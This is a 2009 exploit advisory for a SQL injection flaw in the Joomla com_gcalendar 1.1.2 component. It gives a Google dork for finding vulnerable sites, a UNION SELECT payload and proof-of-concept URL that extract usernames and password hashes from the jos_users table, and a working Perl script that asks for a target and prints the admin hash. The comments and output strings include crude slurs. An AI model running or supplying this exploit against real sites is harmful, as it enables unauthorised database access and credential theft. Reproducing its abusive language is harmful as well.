Joomla! Component com_gcalendar 1.1.2 - 'gcid' SQL Injection

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  _|_|_  \___/  \___|  _|_|_  |_|_|  \___|  |_|_|  |_|_\  |___/  |___|  |_|_\  |____| |___| |_|\_| |_|\_\  
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[o] Joomla Component com_gcalendar 1.1.2 (gcid) Remote SQL Injection Vulnerability

			--==[ Author ]==--
# Author	: Yogyacarderlink Crew
# Group		: YOGYACARDERLINK
# Site		: http://yogyacarderlink.web.id/
# Date		: November, 26-2009 [INDONESIA]

 
Remote SQL Injection were identified in Google Calendar Joomla Component

Application: 		Google Calendar Component
Versions Affected: 	v1.1.2 old versions may also be affected
Download: 		http://extensions.joomla.org/extensions/calendars-a-events/calendars/4188
License: 		GPL
Vulnerable: 		Remote SQL Injection
Google Dork: 		inurl:"com_gcalendar"


Description
***********

Google Calendar is a component that will allow you to embed Google Calendars on your Joomla 1.5 site with ease!
You'll be amazed at the flexibility allowed and the degree of customization.

Details
*******

[!] SQL Injection
attacks are another instantiation of injection attack,
in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands

Exploit
*******

-9999+union+select+0,concat(username,0x3a,password),2,3,4+from+jos_users--


Proof of Concept
****************

http://server/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--

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#!/usr/bin/perl -w

#Joomla com_gcalendar (gcid) Sql injection
#Coded by v3n0m
#Gre4tz: All Yogyacarderlink Crew
#Special Gre4tz: Google

print "|----------------------------------------------------|\n";
print "|   YOGYACARDERLINK 'com_gcalendar Remote Injector'  |\n";
print "| Coded by : v3n0m                                   |\n";
print "| Greetz   : LeQhi (bug founder)                     |\n";
print "| sHoutz   : Yogyacarderlink Crew                    |\n";
print "|                                                    |\n";
print "|   -v3n0m & lingah paling ganteng se-jogjakarta-     |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nMasukin Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
#Nama Column
$kontol="group_concat(username,0x3a,password)";
#Nama Table
$memek="jos_users";
$ngentot="-9999+union+select+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=".$ngentot."0,".$kontol.",2,3,4+from/**/".$memek."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "Sukses coy !! Wah selamat yee bro...\n";
print "Coba langsung dicheck ke TKP aja bro biar lebih yakin...\n";
print "\n";
print "Attention:\n";
print "v3n0m & lingah emang paling ganteng...\n";
print "Yang kaga setuju/protes = GAY !!\n";
print "\n";
}
else{print "\n[-] wah gagal bro (Belom Cebok tangan lo)...\n";
}

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Thankz	  : lingah,aRiee,v3n0m,z0mb13,m4rco,NaZmy,IdioT_InsidE,eidelweiss
	    JaLi-,yoga0400,Anak_Naga_,badkiddies,g0nz,mywisdom,setanmuda
	    jo8928,ripper_maya,elv1n4,dhit_coxon and all YOGYACARDERLINK crew